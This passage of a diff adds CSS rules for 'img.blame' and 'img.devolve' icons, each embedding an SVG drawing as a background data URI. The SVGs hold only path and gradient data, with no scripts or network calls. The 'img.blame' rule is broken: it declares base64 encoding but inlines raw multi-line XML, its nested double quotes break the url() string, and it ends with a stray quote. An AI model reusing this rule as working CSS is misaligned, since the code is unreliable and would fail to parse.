AwLTAuNDQ1OTggMC4xNzg0Ni0wLjYxNTQ3IDAuMzAzMzRsLTAuMTk1ODQgMC4xNDI2MS0wLjExNjI2LTAuMjMyMDEgMC41NjIyNC0wLjQxOTFjMC41NDQxNC0wLjQxMDM0IDEuMDc5Mi0wLjY3OCAxLjMzNzktMC42Nzh6IiBmaWx0ZXI9InVybCgjYSkiIHN0cm9rZT0iIzU0MCIgc3Ryb2tlLW9wYWNpdHk9Ii4xODE4MiIgc3Ryb2tlLXdpZHRoPSIuMDY1Ii8+CjxwYXRoIGQ9Im0tNTM2LjgxLTI3MS41MmE0LjQ4ODUgNC40ODg1IDAgMCAwLTQuNDg4NiA0LjQ4ODYgNC40ODg1IDQuNDg4NSAwIDAgMCA0LjQ4ODYgNC40ODgxIDQuNDg4NSA0LjQ4ODUgMCAwIDAgNC40ODg2LTQuNDg4MSA0LjQ4ODUgNC40ODg1IDAgMCAwLTQuNDg4Ni00LjQ4ODZ6bTAuNDc3OTkgMS4yMTdjMC4yODU0NiAwIDAuNDkwNDEgMC4yMjI3NiAwLjQ5MDQxIDAuNTI2MDUgMCAwLjM2NTc2LTAuMjU4NzkgMC42NDIzNS0wLjYwNjY2IDAuNjQyMzUtMC4zMTIyNCAwLTAuNDkwNDQtMC4xODczNy0wLjQ5MDQ0LTAuNTA4NSAwLTAuMzc0NjUgMC4yNjc3NC0wLjY1OTkgMC42MDY2OS0wLjY1OTl6bS0wLjE2MDcgMi4wMTU5YzAuMTMzNzkgMCAwLjIyMzIyIDAuMTMzOTYgMC4yMjMyMiAwLjMzMDIzIDAgMC4xNzgzOC0wLjAzNiAwLjQyNzg4LTAuMDgwNiAwLjU5NzM3bC0wLjQ4MTY1IDEuNzQ4N2MtMC4xMTU5NCAwLjQxOTI2LTAuMTc4MjcgMC43MTM0NS0wLjE3ODI3IDAuODI5NDIgMCAwLjA1MzUgMC4wNDQ1IDAuMDk4MiAwLjEwNjk3IDAuMDk4MiAwLjA4OTIgMCAwLjIzMTkzLTAuMDcxNCAwLjU0NDE3LTAuMjY3NjhsMC4yNDA4LTAuMTUxNDIgMC4xMDY5NyAwLjI0OTYxYy0wLjA5ODEgMC4wNzEzLTAuMTMzNjQgMC4wODkxLTAuMjQ5NTkgMC4xNzgyNy0wLjcyMjU3IDAuNTE3MzktMS4xNDIxIDAuNzIyNDUtMS40ODEgMC43MjI0NS0wLjE2OTUgMC0wLjI4NTI1LTAuMTUxNTMtMC4yODUyNS0wLjM4MzQ2IDAtMC4xNDI3MiAwLjAyNjUtMC4zMzg2NCAwLjA1MzItMC40NjM1M2wwLjUyNjYtMi4xNTAzYzAuMDUzNS0wLjIzMTkgMC4wNzEzLTAuMzAzMDIgMC4wNzEzLTAuMzU2NTUgMC0wLjA2MjQtMC4wMzU5LTAuMDk4Mi0wLjA4OTQtMC4wOTgyLTAuMDgwMyAwLTAuNDQ1OTggMC4xNzg0Ny0wLjYxNTQ3IDAuMzAzMzVsLTAuMTk1ODUgMC4xNDI2MS0wLjExNjI2LTAuMjMyMDEgMC41NjIyNC0wLjQxOTFjMC41NDQxNS0wLjQxMDM1IDEuMDc5Mi0wLjY3OCAxLjMzNzktMC42Nzh6IiBmaWxsPSIjMmE3ZmZmIiBzdHJva2U9IiM1NDAiIHN0cm9rZS1vcGFjaXR5PSIuMTgxODIiIHN0cm9rZS13aWR0aD0iLjA2NSIvPgo8cGF0aCBkPSJtNTIzLjY1IDcxNy40MXY1Ljc5NjRoNC4yNDI5di00LjUxMDJsLTEuMjg2Mi0xLjI4NjJ6IiBmaWx0ZXI9InVybCgjYykiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNTIyLjg4IDcxNS45NXY1Ljc5NjRoNC4yNDI5di00LjUxMDJsLTEuMjg2Mi0xLjI4NjJ6IiBmaWx0ZXI9InVybCgjYikiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNTIzLjU1IDcxNy4yMXY1Ljc5NjRoNC4yNDI5di00LjUxMDJsLTEuMjg2Mi0xLjI4NjJ6IiBmaWxsPSIjZWNlY2VjIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NSA3MTguNDJoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MTkuMTNoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MTkuODloMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MjAuNjFoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MjEuMzZoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MjIuMDhoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyMi43OCA3MTUuNzV2NS43OTY0aDQuMjQyOXYtNC41MTAybC0xLjI4NjItMS4yODYyeiIgZmlsbD0iI2ZmZiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNjggNzE2Ljk1aDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNjkgNzE3LjY3aDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNjkgNzE4LjQzaDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNyA3MTkuMTVoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyMy42OSA3MTkuOWgyLjQ1NTYiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNTIzLjcgNzIwLjYyaDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjwvZz4KPC9zdmc+Cg==");
+	width:0px;
+	height:0px;
+	cursor:pointer;
+	padding:0.7em 0.6em;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.blame {
+	display: inline-block;
+	background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 60.786 31.204" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<metadata>
<rdf:RDF>
<cc:Work rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
<dc:title/>
</cc:Work>
</rdf:RDF>
</metadata>
<g transform="translate(-58.053 -156.67)">
<path d="m58.99 160.77c2.0412-0.0162 3.6005 1.9777 5.4488 1.0598 2.2981-0.95314 4.9351-1.0211 5.4572 0.65328 4.9579-1.9107 10.077-3.5049 15.16-5.1013 6.807-0.50112 13.643-0.86168 20.464-0.45421 4.0148 0.31192 7.8886 1.4332 11.811 2.2665 2.4507 0.73388 1.5662 3.2849-1.3028 3.6391-1.8327 0.25993-4.5565-0.40778-6.8513-0.40076-2.2172 0.19915-4.6504 0.21891-6.7178 0.59553-0.0462 1.5284-0.49144 3.2323-1.7834 4.0571 1.7797 1.7681-0.19045 4.3696-1.7405 5.5436-0.36029 0.1261-0.32378 0.31219-0.11755 0.56157 0.33591 0.40622 0.59574 0.86607 0.49872 1.9337-0.0459 1.6708-3.0158 2.1025-2.8652 3.0027 0.0328 0.19589 0.59138 0.17884 0.75863 0.83906 0.75833 2.2254-1.6751 4.4339-3.7867 4.6643-4.4933 0.83756-9.0614 1.3906-13.632 1.5191-2.3627-0.0242-4.8334 1.202-7.0872-0.0742-1.3205-0.58168-3.5366-3.3869-3.8656-0.58421-1.1685 1.9856-2.4978 3.5248-4.5109 3.2721-2.7821-0.54249-4.9526-11.311-4.6058-13.069 0.10703-1.962-0.6515-5.2083-0.85772-7.205-0.43812-2.3796-0.41004-3.2827-0.72481-5.679z" fill="#f2f2f2" stroke="#000" stroke-width=".165"/>
<path d="m102.63 162.87c-2.2943-0.513-4.7833 0.3438-6.9342-0.79756-2.2539-0.77866-4.4549-2.2089-6.8995-1.3543-2.9364 0.45619-5.8301 1.1418-8.7506 1.6841" fill="none" stroke="#000" stroke-width=".26458px"/>
<path d="m96.618 178.03c-1.2086-0.33898-2.4577-0.56278-3.6395-0.97857-1.455-0.67627-2.8633-1.4725-4.4136-1.9161-0.69932-0.27539-1.4984-0.37962-2.0401-0.94376-0.6474-0.4835-1.3939-0.91721-1.1654-1.8411-0.27345-0.7417 0.62984-1.6985 1.4083-1.2202 1.4974 0.37017 1.8815 0.61716 3.0004 0.8063 1.4372 0.27386 2.9075 0.0622 4.3524 0.1838 1.5007 0.32159 3.2102 0.65986 4.7109 0.98145" fill="none" stroke="#000" stroke-width=".26458px"/>
<path d="m100.83 167.14c-1.1714 0.18765-2.3185 0.67334-3.5093 0.63891-1.0354-0.0524-2.0904-0.0335-3.0688-0.42531-1.2747-0.45202-2.6488-0.35359-3.9782-0.4741-0.97026 0.16142-2.0037 0.0706-2.9281 0.42115-0.88075 0.34032-1.867 0.57812-1.9504 1.6935-0.25068 0.94047 0.62509 1.8194 1.5469 2.0142 0.91386 0.41182 2.174 0.72469 3.1303 1.0093" fill="none" stroke="#000" stroke-width=".26458px"/>
<path d="m87.397 175.23c-0.27511 0.32568-0.7123 0.55634-0.77426 1.0128-0.27273 0.46202-0.0435 0.93615 0.0733 1.4033 0.27911 0.43724 0.84302 0.68723 1.232 1.0531 1.0518 0.81334 2.1305 1.5954 3.2421 2.3245 0.63544 0.38511 1.2709 0.77023 1.9063 1.1553" fill="none" stroke="#000" stroke-width=".26458px"/>
<path d="m73.165 174.02c1.753 0.4584 3.4368 1.6387 5.3244 1.1576 2.802-0.2343 5.8686-1.8285 6.6786-4.701 0.14698-0.5644 0.17932-1.1585 0.091-1.7352" fill="none" stroke="#000" stroke-width=".26458px"/>
<path d="m109.98 158.66 0.40092 1.2027 0.0668 0.93546-0.20045 0.93544" fill="none" stroke="#000" stroke-width=".165"/>
<path d="m100.83 159.19 0.20045 2.3386" fill="none" stroke="#000" stroke-width=".165"/>
<path d="m97.687 162.8c0.2643 0.36407 0.37489 0.88694 0.74375 1.1425 0.27153 0.21153 0.59982 0.30639 0.94177 0.28854 0.99723 0.0575 1.9945 0.11505 2.9917 0.17259 0.0891-0.51227 0.17818-1.0245 0.26727-1.5368" fill="#ccc" stroke="#000" stroke-opacity=".45041" stroke-width=".165"/>
<path d="m88.788 174.05c-0.11853 0.44743-0.30177 0.52585-0.99222 0.46774-0.51203-0.18683-1.0226-0.37763-1.535-0.56352-0.48622-0.28213-0.78159-0.49333-1.083-1.3033-0.16586-0.24707-0.13002-1.363 0.50726-1.4185 1.1017-8e-3 2.0943 0.69565 3.048 1.0004 0.41344 0.23382 0.2626 1.3526 0.0549 1.8172z" fill="#ccc" stroke="#000" stroke-opacity=".30992" stroke-width=".165"/>
<path d="m80.469 162.37c2.0368-0.73795 4.5811-1.5884 6.6897-2.093 1.652-0.20127 2.7005-1.0676 4.3561-0.61183 1.8016 0.89783 2.6262 0.93331 3.7811 1.7361 1.5093 0.9199 3.3153 1.301 5.1113 1.2522-1.3319-0.016-2.734 0.33078-3.9819-0.31904-1.6984-0.61305-3.3954-1.2297-5.0895-1.8543-2.3129 0.18163-4.6117 0.51304-6.8522 1.1235-1.3314 0.28978-2.6729 0.5301-4.0146 0.7664z"/>
<path d="m94.068 171.98s2.9804 0.37773 3.7881 0.33048c0.31498-0.0473 1.1263 0.0699 1.8899-0.2083l-0.94494 1.0394z"/>
<path d="m92.092 176.45c0.94239 0.15812 1.8792 0.35667 2.8254 0.48744 0.69609 0.058 1.3922 0.11601 2.0883 0.17402 0.47247-0.126 0.96856-0.29924 1.441-0.42524-0.47746 0.37862-0.97204 0.81269-1.4536 1.1862-0.22435 0.0815-0.44999 0.24225-0.68899 0.12672-0.93159-0.23289-1.8632-0.46579-2.7948-0.69868-0.47247-0.28348-0.94494-0.56697-1.4174-0.85045z"/>
<path d="m86.895 178.06c1.5255 1.9268 0.59027 5.1687-2.0129 5.5015-2.7868 0.6829-5.7461 0.98098-8.5995 0.81608-2.4004-0.80852-4.9336-1.6697-6.6389-3.6524-0.81128-1.1236-3.9837-2.2399-1.6986-0.45523 1.9648 1.9122 4.5437 4.5285 6.5116 4.8083s10.335-0.72984 15.448-1.2058c2.6044-0.53129 3.584-2.4938 0.52847-3.3965-1.1799-0.80471-2.3591-1.6106-3.5384-2.4161z"/>
<path d="m90.296 165.3c0.21409-0.42776 0.33764-1.4385 0.60662-1.5073 0.0448 0.65431-3e-3 1.4835 0.78362 1.7104 1.1294 0.69085 2.3237 1.2987 3.618 1.6082 0.94148 0.31249 1.9141 0.50786 2.8969 0.62807-0.31437 0.0874-1.0068 0.10552-1.4643 0.16314-0.63195 0.0795-1.2434-0.10553-1.8176-0.34781-1.2402-0.37747-2.5422-0.50278-3.8269-0.62368-0.88961 0.0414-1.7789 0.13884-2.6675 0.21637-0.81034 0.0181-1.4293 0.59883-2.1045 0.97218-0.611 0.23725-0.73824 0.63901-0.73019 1.3305-0.21703 0.88347-0.69383 1.724-0.9406 2.5978-0.25607 0.45399-1.0068 0.98131-1.2996 1.0385 0.23648-0.76856 0.47297-1.5371 0.70944-2.3057l-1.3229 0.56697c0.47247-0.40948 0.94494-0.81895 1.4174-1.2284-0.78745-0.063-1.5749-0.12599-2.3624-0.18899 0.74387-0.30414 1.6044-0.30309 2.2774-0.77591 0.15638-0.66843 0.12781-1.228-0.65932-1.2909-0.34247-0.13135-1.0944-0.35818-1.1362-0.45149 0.87883 0.14648 1.7577 0.29295 2.6365 0.43942 1.3295-0.50629 2.6461-1.0815 4.0492-1.3526 0.52752-0.26709 0.87087-0.78028 1.3073-1.1691l0.0298-0.0298z"/>
<path d="m89.304 167.9c-0.63739-0.18355-1.9056-0.58987-2.4747-0.14775-0.56597 0.29995-1.1864 0.49668-1.1831 1.2772-0.0892 0.49474-0.0807 1.1084 0.40153 1.4006 0.54862 0.37833 1.2219 0.50067 1.8338 0.74104 0.68377 0.25513 1.4465-0.08 1.836-0.66927 0.40197-0.41018 0.30973-1.0373 0.30602-1.5625-0.084-0.61131-0.22551-0.70588-0.71949-1.0394z" fill="#ccc" stroke="#000" stroke-opacity=".35537" stroke-width=".165"/>
<path d="m86.611 177.2c0.21216 0.35449 0.97183 0.90447 1.6406 0.89771 0.69538 0.0207 1.4102-0.81073 1.5567-1.3254 0.13455-0.93574-1.2931-1.8259-1.9321-1.8156-0.86768 0.4141-1.4286 1.349-1.2652 2.2433z" fill="#ccc" stroke="#000" stroke-opacity=".29339" stroke-width=".165"/>
<path d="m95.402 160.89c1.3384 0.36459 2.7008 0.62965 4.0599 0.90282 0.61224-0.028 1.1997-0.64105 1.7737-0.44036 0.60894 0.81594 1.7452 0.71987 2.6462 0.92043 1.1835 0.0731 2.3804-0.05 3.562-0.15799 1.047-0.0114 1.9937-0.34955 2.8216-0.99089 0.37723 0.0387 0.42607 0.98449 1.0544 1.0486 1.2208 0.61187 2.64 0.66662 3.9653 0.43454 0.6739-0.21678 1.429-0.221 2.0618-0.52965 0.33575-0.22277 1.1976-1.107 1.1682-0.87068-0.31602 0.91801-1.1786 1.6649-2.1889 1.5156-1.1611 0.11963-2.337 0.21832-3.491-0.0112-1.4404-0.1339-2.8881-0.29949-4.3352-0.26065-1.9739 0.13627-3.9448 0.31214-5.9173 0.46812-1.2873-0.43412-3.4815-0.0685-4.7843-0.44443-1.1672-0.23309-2.6951-1.0534-3.6327-1.7848z" fill-opacity=".5124"/>
<path d="m102.22 164.61c-0.78249 1.3166-2.1058 2.1322-3.4285 2.1471-1.7173 0.32417-3.8511 0.0875-5.2468-0.69421-0.6499-0.64263-1.0908-0.82913-1.7225-1.4789-0.24162-0.36955-0.57774-1.0462-0.81936-1.4158-0.46423 0.0672-0.51712 0.12229-0.87321 0.73733-0.14808 0.67045-0.80813 1.0548-1.2389 1.5509-0.53653 0.43209-0.91102 1.1435-1.6506 1.2255-0.71029 0.2237-1.4207 0.44644-2.1753 0.3905-1.1544 0.0357-2.3095-0.0243-3.4642-0.03-0.39414 1.109 1.2329 1.0733 2.0316 1.3229 0.27494 0.47249-0.27822 0.77769-0.67457 0.87078-0.6215 0.2718-1.2725 0.45722-1.924 0.6411 0.83994 0.76283 1.5765 0.42814 2.5986 0.33073-0.62996 0.48823-1.2599 0.97645-1.8899 1.4647 0.34062 0.30562 0.82428-0.11335 1.228-0.12765 1.0198 1.8993-2.9492 3.0363-4.1305 3.2228-2.6277-0.39247-3.7642-1.2212-5.1308-2.3575-1.0486-1.1948-2.1019-2.3851-3.3031-3.4309-0.59603-0.1954-1.2676-0.24039-1.8928-0.37774 0.61108 0.31801 1.3207 0.53853 1.8719 0.91573 0.80941 1.7896 1.5652 3.2919 2.8736 4.5871 1.2458 0.41552 2.4858 0.85326 3.7919 1.0372 0.57757 0.10702 1.1566 0.31664 1.729 0.0735 0.86462-0.22832 1.7773-0.34001 2.6116-0.6418 0.7198-0.47565 1.503-0.88835 2.184-1.4025 0.47594-0.85524 1.1615-1.6174 1.3374-2.6059 0.21893-0.74894 0.43785-1.4979 0.65677-2.2468 0.80837-0.39825 1.5501-0.9678 2.4045-1.2478 0.72805-0.11736 1.4414-0.46393 2.1796-0.42279 1.5057 0.20153 3.0503 0.19538 4.5027 0.68249 0.8938 0.24136 1.8204 0.52226 2.7469 0.47578 1.1336-0.23527 2.3066-0.33348 3.3588-0.85133 0.5012-0.17177 0.72532-0.68079 1.0492-1.0644 0.15293-0.24853 0.30587-0.94807 0.4588-1.1966z" fill-opacity=".56612"/>
<path d="m84.013 172.43-1.1812 1.3229-2.3624 1.1812-2.9766 0.47247-2.5041-0.61421-1.8899-0.8977-2.8821-0.51972h-3.827l3.638 0.37798 1.4646 0.56698-1.2757 0.56697-2.2699 0.5354-2.5517-0.40959-0.23384 0.48838 3.0711 1.0867 3.5435 1.3702 5.0554 0.89768 3.4963-0.14174 3.5435-0.28348 2.1261-0.0473 1.7009 0.6142-0.97524-1.2647-0.20589-1.2394 0.85044-1.2284 0.47247-0.28347-1.3229-0.70872-1.3229-1.3702 0.0945-1.1812 0.75595-0.70868 0.18898-0.23625-0.7087-0.99219h-0.85045z" fill-opacity=".65289"/>
<path d="m88.501 171.25c0.60587-0.13517 1.4174-0.94494 1.4174-0.94494 0.6597 0.41358 1.3135 0.89796 2.1231 0.93492 1.3637 0.25532 2.7469 0.59494 4.1405 0.39498 1.5329 0.0366 2.9589-0.563 4.4143-0.95191-0.3931 0.64525-0.7396 1.3549-1.4276 1.7359-0.819 0.31902-1.727 0.0203-2.5826 0.0858-1.1503 0.0285-2.2214-0.53061-3.3794-0.40776-0.97386-0.0238-1.9586 7e-3 -2.9241-0.13059-0.61251-0.18127-2.2759-0.27804-2.2576-0.6496 0 0 0.31967-0.0319 0.47607-0.0668z" fill-opacity=".50826"/>
<path d="m88.737 174.23c0.95952 0.62661 1.8882 1.311 2.923 1.812 1.5893 0.23465 3.203 0.33207 4.7966 0.0896 0.74272 0.0239 1.9084-0.33496 2.547-0.28793-0.20188 0.89375-1.2678 1.6333-2.2244 1.54-0.85828 0.20741-1.7299 0.10275-2.5755-0.0999-1.7761-0.14946-3.2474-1.244-4.8381-1.9371-0.39392-0.16127-1.6539-0.46159-2.0408-0.63759-0.65372-0.29739-0.42598-0.48775-1.0447-0.85716 0.73388 0.20505 1.67 0.99429 2.3506 0.46067l0.1063-0.0827z" opacity=".497"/>
<path d="m89.201 177.77c0.26704 2.3641 3.0152 2.842 4.9498 2.9956 2.923 0.11179 1.3357 3.0579-0.84784 2.8119-2.3902 0.52081-4.6108 0.81748-6.9544 1.1222-2.54 0.33029-5.1539 0.45795-7.7188 0.52054-2.4002 0.2133-5.3197 1.0294-7.2403-0.92014-0.45055-0.33784-0.98179-1.0458-1.5524-1.0619-1.704-0.0482-2.958 4e-3 -3.5463-1.7808-0.99181-1.1468-0.71374-2.9332 1.09-2.0124 2.1413 1.254 3.6948 3.4738 6.0749 4.4036 1.9963 1.2107 4.4461 0.55048 6.6491 0.77936 2.5117-0.53336 5.776-0.23097 7.724-1.7543 1.1961-1.8971-1.1027-5.0784-1.1475-5.6739 0.2545 0.87889 1.4846 1.1275 2.5199 0.57032z" fill-opacity=".59504"/>
<path d="m89.435 159.66c-2.4948 0.45076-8.3746 1.4975-10.796 2.2626-0.78689 0.0936-2.6373 1.1009-1.1557 1.068 1.1883 0.29221 2.2118 0.53551 3.3655 0.13843 2.4873-0.63433 6.1106-1.7237 8.5865-2.3999-0.95772-0.31181 0.95772-0.75726 0-1.0691z" fill-opacity=".57438"/>
<path d="m69.035 162.94c-2.1064 0.54775-2.8964 2.8067-3.6912 4.585-1.2795 5.1872-2.3729 11.543-0.62334 16.565 0.13438 0.78584 0.59666 1.5032 1.6277 1.7526 1.6684 0.38617 2.0962-3.1253 1.0745-3.5252-1.7045-0.60197-1.8389-2.437-1.8019-3.981-0.20577-2.6199-0.35847-5.2538-7e-3 -7.869-1.5e-4 -1.7016 0.32302-3.294 1.1067-4.8084 0.38319-1.2107 1.36-1.9645 2.3144-2.7192z" stroke="#000" stroke-width=".26458px"/>
<path d="m65.445 171.44 2.0789 0.14173 1.4174 0.28348-1.1339-0.0472-2.3151 0.14174z" fill-opacity=".59504"/>
<path d="m66.626 165.3 1.8426-0.37798 0.47247 0.80322-1.0867 1.9371-2.5986 0.85045 0.85045-2.4568 0.66146-0.61423z" fill-opacity=".65289"/>
<path d="m89.611 168.3c-0.50473 0.27106-0.973 0.74126-0.99089 1.3464-0.0486 0.43482-0.20151 1.305 0.40851 1.3649 0.39452-0.11017 0.67595-0.48228 0.83241-0.84381 0.0837-0.40845 0.1484-0.83551 0.079-1.2524-0.0456-0.22992-0.0899-0.50484-0.32908-0.61505z" fill="#ececec" fill-opacity=".57438"/>
<path d="m88.844 172.55c-0.53634 0.27704-0.81462 0.12717-1.1428 0.80668-0.12134 0.45079 0.0435 1.3639 0.74666 1.0372 0.45593-0.26642 0.28397-0.60771 0.44013-1.1468 0.02291-0.43071 0.19211-0.31488-0.044-0.69704z" fill="#ececec" fill-opacity=".57438"/>
<path d="m89.139 176.41c-0.67399 0.30792-0.92555 0.34073-0.91839 1.0647 0.22827 0.3518 0.47351 0.64672 0.87418 0.15554 0.53948-0.51377 0.48453-0.43376 0.61089-0.91732-0.0475-0.16778-0.41611-0.20914-0.56668-0.30294z" fill="#ececec" fill-opacity=".57438"/>
<path d="m97.799 162.7c0.01111 0.2843 0.0882 0.31881 0.33157 0.78298 0.24007 0.41085 0.39082 0.48136 0.74424 0.60437 0.43924-0.27991 0.74403-0.5158 0.6224-1.2002-0.0475-0.16779-1.5476-0.0934-1.6982-0.18718z" fill="#ececec" fill-opacity=".57438"/>
<path d="m85.225 172.04 0.86863 0.0835 0.70158 0.18372 1.1359 0.35081 0.71828 0.31737 0.25057 0.26728-0.0501-0.63476-0.18374-0.26728-1.3029-0.60135-1.0524-0.3675-0.7684 0.0167-0.23386 0.40092z" fill="#fff" fill-opacity=".21901"/>
<path d="m87.075 175.75c1.1958 0.12032 1.6708 0.81396 2.5652 1.1382 0.18075-0.43318-0.0671-0.84958-0.4436-1.1982-0.42032-0.38474-0.79636-0.48153-1.2757-0.63844-0.54298 0.20094-0.51348 0.31736-0.84594 0.69848z" fill="#fff" fill-opacity=".21901"/>
<path d="m86.338 168.06c2.6323 0.30407 2.7399 1.1815 3.6343 1.5057 0.18075-0.43318-0.41789-1.2672-0.79439-1.6158-0.42032-0.38474-1.4311-0.14745-1.9105-0.30436-0.54298 0.20094-0.42996 0.13362-0.92946 0.41451z" fill="#fff" fill-opacity=".21901"/>
<path d="m98.058 163.3c1.1958 0.12032 3.4662-0.11917 4.3606 0.20503 0.18075-0.43318 0.11008-0.18812 0.13518-0.63124-0.57388-0.0776-4.3399 0.0264-4.8192-0.13053-0.54298 0.20094 0.65588 0.17562 0.32342 0.55674z" fill="#fff" fill-opacity=".21901"/>
</g>
</svg>
");"
+	width:0px;
+	height:0px;
+	padding:0.6em 1.3em;
+	line-height:100%;
+	cursor:pointer;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.devolve {
+	display: inline-block;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMS4zNTM5NDggMTAuNDc5MzQ4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KCTxkZWZzPgoJCTxsaW5lYXJHcmFkaWVudCBpZD0iYSIgeDE9IjMyNi44NCIgeDI9IjMyNiIgeTE9IjIwNi4wNCIgeTI9IjIxMy4xNyIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgtNTYyLjMzIC0xNTkuMjEpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIHN0b3Atb3BhY2l0eT0iLjcxOTAxIiBvZmZzZXQ9IjAiLz4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iI2ZmZiIgc3RvcC1vcGFjaXR5PSIwIiBvZmZzZXQ9IjEiLz4KCQk8L2xpbmVhckdyYWRpZW50PgoJCTxmaWx0ZXIgaWQ9ImMiIHg9Ii0uMTA0NDYiIHk9Ii0uMTQwOTciIHdpZHRoPSIxLjIwODkiIGhlaWdodD0iMS4yODE5IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjE0NTg4OCIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDc0NCIgeT0iLS4wNzQ0IiB3aWR0aD0iMS4xNDg4IiBoZWlnaHQ9IjEuMTQ4OCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC43NTgxMDk5NiIvPgoJCTwvZmlsdGVyPgoJPC9kZWZzPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMjQwLjc4IC00Ni4wNzYpIj4KCQk8Y2lyY2xlIHRyYW5zZm9ybT0ibWF0cml4KC4zNzMwMSAwIDAgLjM3MzAxIC0yOTIuNTQgLTEuOTk0NikiIGN4PSIxNTUuMTUiIGN5PSIxNDIuOTIiIHI9IjEyLjIyOCIgZmlsdGVyPSJ1cmwoI2IpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgoJCTxjaXJjbGUgY3g9Ii0yMzUuMSIgY3k9IjUxLjAyNSIgcj0iNC4xNzIzIiBmaWxsPSIjZmVhIi8+CgkJPGcgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIj4KCQkJPHBhdGggZD0ibS0yMzkuMjIgNTEuMTE3YTQuMjU2NiA0LjI1NjYgMCAwIDEgMi42MDk5IC0zLjk3MjQgNC4yNTY2IDQuMjU2NiAwIDAgMSA0LjY2MjggMC45MjE5MSA0LjI1NjYgNC4yNTY2IDAgMCAxIDAuOTAxOCA0LjY2NjggNC4yNTY2IDQuMjU2NiAwIDAgMSAtMy45ODM2IDIuNTkyOCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIxLjA2NzgiLz4KCQkJPHBhdGggZD0ibS0yMzAuNzEgNTEuMjQxaC0xLjQ0OTkiIHN0cm9rZS13aWR0aD0iLjIwODMzcHgiLz4KCQkJPHBhdGggZD0ibS0yMzUuMDYgNTMuOTA2djEuNDQ5OSIgc3Ryb2tlLXdpZHRoPSIuMjA4MzNweCIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTIzOS43ID